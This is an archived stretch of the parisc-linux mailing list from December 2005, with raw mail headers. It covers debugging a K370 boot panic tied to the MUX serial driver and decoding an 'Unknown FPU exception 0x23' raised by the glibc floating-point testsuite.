> I have a K370 here, all reasonable attempts to boot it have failed miserably.
> The only thing that boots is the Gentoo 2005 Live CD and I have no clue why :(.
> 
> Here is the bootup log.
...
> 12. HP HSC-PCI Cards at 0xf1808000 [10/8] { 4, 0x0, 0x004, 0x0009d }
> 13. Gecko BOA BC GSC+ Port at 0xf1810000 [10/16] { 7, 0x0, 0x500, 0x0000c }
> 14. Gecko BOA BC HP-PB Port at 0xf1a3c000 [10/16/60] { 7, 0x0, 0x103, 0x0000c }
> 15. U2-IOA BC GSC+ Port at 0xf183f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
> 16. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
> 17. Shrike Add-on FW-SCSI at 0xf1008000 [8/8] { 4, 0x1, 0x014, 0x00089 }
> 18. HP HSC-PCI Cards at 0xf100c000 [8/12] { 4, 0x0, 0x004, 0x0009d }

My first guess was the "HSC-PCI" cards are the root of some new problem...

...
> Found GeckoBoa at 0xf1804000
> Found GeckoBoa at 0xf1810000
> Dino version 3.x (card mode) found at 0xf100c000
> Dino version 3.x (card mode) found at 0xf1808000

which are better known as "Card Mode Dino". But I don't think
that's the case since I never saw evidence of tulip getting loaded
nor any problem with configuring LAN.


>  * Calculating module dependencies ...                                    [ ok ]
>  * Using /etc/modules.autoload.d/kernel-2.6 as config:
>  *   Loading module lasi_82596 ...                                        [ ok ]

Note that this LAN driver worked fine. Firmware programs
the MMIO address range for this card.
Any reason why tulip driver didn't get auto-loaded here?

...
>  *   Bringing up eth0
>  *     10.0.1.202

Which I expect to be the LASI NIC.

...
>  * Mounting network filesystems ...                                       [ ok ]
> Kernel panic - not syncing: Kernel Fault
> 
> What happens here is that it sticks at "Mounting Network Filesystems".
> If I press any key on my Serial console here, then it goes off and panics.

Which suggests it's a problem with the Mux Driver somehow.
I expect a "login:" prompt to be the next output.

At one point there were issues with MUX driver keyboard input.
Maybe those issues have resurfaced in a new way now.

...
> I'm not sure whats wrong here, and rebooting this beast is a very long
> process (20 minutes each time).
> 
> Does anyone have any ideas?
...
> I'd really like to run Linux on this mammoth somehow, but I've tried
> everything I can think of with no sucssess (except the Gentoo Live CD,
> but that doesn't really do anything other then let me setup the system
> and compile a kernel).

Start comparing the Gentoo Live CD kernel with the nearest revision
from debian or otherwise that fails.  MUX driver and serial support
in particular.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unknown FPU exception, help needed, please decode.
Date: Thu, 15 Dec 2005 14:22:04 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20051215192204.GE1298@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623956 17403 80.91.229.3 (22 Nov 2014 02:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2005 19:22:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 15 Dec 2005 20:22:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 245807D7BC;
	Thu, 15 Dec 2005 12:22:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02756-08; Thu, 15 Dec 2005 12:22:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 76C877D7B8;
	Thu, 15 Dec 2005 12:22:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44A917D78F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 12:22:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02674-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 12:22:06 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A50EB7D785
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 12:22:06 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Emyg1-0000QW-00 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 14:22:05 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JafTYz8reSEkab6WZHQhaXN1IGRvbwB8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23262


pa,

Running some more compliant fpu code in glibc causes this:

arch/parisc/math-emu/decode_exc.c(351) Unknown FPU exception 0x23
arch/parisc/math-emu/decode_exc.c(351) Unknown FPU exception 0x23
...

Could someone please decode the FPU exception and tell me if the kernel
is doing the right thing?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unknown FPU exception, help needed, please decode.
Date: Fri, 16 Dec 2005 07:54:59 +0800
Lines: 35
Approved: news@gmane.org
Message-ID: <43A20253.6080408@tausq.org>
References: <20051215192204.GE1298@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623956 17406 80.91.229.3 (22 Nov 2014 02:39:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Dec 2005 23:55:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 16 Dec 2005 00:55:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A195F7D72D;
	Thu, 15 Dec 2005 16:55:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03961-09; Thu, 15 Dec 2005 16:55:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9FC07D730;
	Thu, 15 Dec 2005 16:55:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF9A27D72B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 16:55:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03961-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 16:55:22 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 2A1E77D726
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 16:55:22 -0700 (MST)
Original-Received: from 236.193.17.210.dyn.pacific.net.hk ([210.17.193.236]
	helo=[192.168.1.10]) by mailhub.stlglobal.com with esmtpsa
	(TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50)
	id 1En2ua-0006h0-TV; Fri, 16 Dec 2005 07:53:25 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <20051215192204.GE1298@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JWfQYxIQeSEkRL6WZHQhaXN1IGRvb0Am
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23263

> arch/parisc/math-emu/decode_exc.c(351) Unknown FPU exception 0x23
> arch/parisc/math-emu/decode_exc.c(351) Unknown FPU exception 0x23
> ...
> 
> Could someone please decode the FPU exception and tell me if the kernel
> is doing the right thing?

 From page 10-3 in the PA2.0 arch book, this seems to be the 
"unimplemented" exception.

Pages 10-8 and 10-9 goes on to say:
A conversion to a floating poiint format always causes an unimplemented 
exception when the result overflows, the result lies too far outside the 
range for the exponent to be bias-adjusted, and the overflow trap is 
enabled. [...]

Similarly, an unimplemented exception is always caused by a conversion 
to a floating-point format that underflows, lies too far outside the 
range for the exponent to be bias-adjusted, and the underflow trap is 
enabled.  [...]

Finally, the unimplemented exception is always signaled when the operand 
of a conversion to an integer format is a NaN. Low-level trap handlers 
may choose to silently deliver a result or convert it to an invalid 
exception.

Do any of these apply to your test case?

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unknown FPU exception, help needed, please decode.
Date: Thu, 15 Dec 2005 20:13:18 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <20051216011318.GL1298@baldric.uwo.ca>
References: <20051215192204.GE1298@baldric.uwo.ca> <43A20253.6080408@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623957 17414 80.91.229.3 (22 Nov 2014 02:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2005 01:13:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 16 Dec 2005 02:13:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8BA57D738;
	Thu, 15 Dec 2005 18:13:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04813-04; Thu, 15 Dec 2005 18:13:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE8B07D73D;
	Thu, 15 Dec 2005 18:13:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDC887D734
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 18:13:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04813-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 18:13:30 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 3838D7D730
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 18:13:30 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1En49u-0005JW-00; Thu, 15 Dec 2005 20:13:18 -0500
Content-Disposition: inline
In-Reply-To: <43A20253.6080408@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: knHQY1gSeSEkR76WZHQhaXN1IGRvb8BO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23264

On Fri, Dec 16, 2005 at 07:54:59AM +0800, Randolph Chung wrote:
> >arch/parisc/math-emu/decode_exc.c(351) Unknown FPU exception 0x23
> >arch/parisc/math-emu/decode_exc.c(351) Unknown FPU exception 0x23
> >...
> >
> >Could someone please decode the FPU exception and tell me if the kernel
> >is doing the right thing?
> 
> From page 10-3 in the PA2.0 arch book, this seems to be the 
> "unimplemented" exception.

Cool, I assume it should print "Unimplemented" exception instead of
"Unknown."
 
> Pages 10-8 and 10-9 goes on to say:
> A conversion to a floating poiint format always causes an unimplemented 
> exception when the result overflows, the result lies too far outside the 
> range for the exponent to be bias-adjusted, and the overflow trap is 
> enabled. [...]

Might have some of this.

> Similarly, an unimplemented exception is always caused by a conversion 
> to a floating-point format that underflows, lies too far outside the 
> range for the exponent to be bias-adjusted, and the underflow trap is 
> enabled.  [...]

Might have some of this.

> Finally, the unimplemented exception is always signaled when the operand 
> of a conversion to an integer format is a NaN. Low-level trap handlers 
> may choose to silently deliver a result or convert it to an invalid 
> exception.

Might have some of this.

> Do any of these apply to your test case?

It's the glibc fp testsuite. We test for a lot of things, I need to
narrow down the insn sequence causing the exception.

I've never seen this print before. Atleast not with the older
sysdeps/hppa/fpu/* bits in place.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unknown FPU exception, help needed, please decode.
Date: Thu, 15 Dec 2005 19:33:32 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20051216023332.GA1787@colo.lackof.org>
References: <20051215192204.GE1298@baldric.uwo.ca> <43A20253.6080408@tausq.org>
	<20051216011318.GL1298@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623957 17415 80.91.229.3 (22 Nov 2014 02:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2005 02:25:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 16 Dec 2005 03:25:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AE3B7D74C;
	Thu, 15 Dec 2005 19:25:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05131-08; Thu, 15 Dec 2005 19:25:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42D2F7D745;
	Thu, 15 Dec 2005 19:25:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46BF17D741
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 19:25:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05131-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 19:25:02 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7190B7D740
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 19:25:02 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A157136000E;
	Thu, 15 Dec 2005 19:33:33 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04038-08; Thu, 15 Dec 2005 19:33:32 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 59259360002; Thu, 15 Dec 2005 19:33:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20051216011318.GL1298@baldric.uwo.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3kDQY68OeSEkRb6WZHQhaXN1IGRvb4D0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23265

On Thu, Dec 15, 2005 at 08:13:18PM -0500, Carlos O'Donell wrote:
> It's the glibc fp testsuite. We test for a lot of things, I need to
> narrow down the insn sequence causing the exception.
> 
> I've never seen this print before. Atleast not with the older
> sysdeps/hppa/fpu/* bits in place.

Maybe the glibc test has changed too?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keven Tipping <bytelogix@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Gentoo & PARisc Kernel broken?
Date: Thu, 15 Dec 2005 22:58:42 -0700
Lines: 381
Approved: news@gmane.org
Message-ID: <912523912e0e.912e0e912523@shaw.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623957 17420 80.91.229.3 (22 Nov 2014 02:39:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2005 05:59:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 16 Dec 2005 06:59:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B22EF7D76B;
	Thu, 15 Dec 2005 22:59:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06217-06; Thu, 15 Dec 2005 22:59:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 445097D74C;
	Thu, 15 Dec 2005 22:59:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D630F7D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 22:59:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06217-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 22:59:06 -0700 (MST)
Original-Received: from pd4mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 08F737D738
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Dec 2005 22:59:06 -0700 (MST)
Original-Received: from pd2mr5so.prod.shaw.ca (pd2mr5so-qfe3.prod.shaw.ca [10.0.141.8])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IRK003I6TXVPPD0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 15 Dec 2005 22:58:43 -0700 (MST)
Original-Received: from shaw.ca ([10.0.122.102])
	by pd2mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IRK00H6ITXU4240@pd2mr5so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 15 Dec 2005 22:58:43 -0700 (MST)
Original-Received: from [10.0.144.80] by pd5ims2.prod.shaw.ca (mshttpd); Thu,
	15 Dec 2005 22:58:42 -0700
X-Mailer: iPlanet Messenger Express 5.2 HotFix 1.18 (built Jul 28 2003)
Content-language: en
Content-disposition: inline
X-Accept-Language: en
Priority: normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
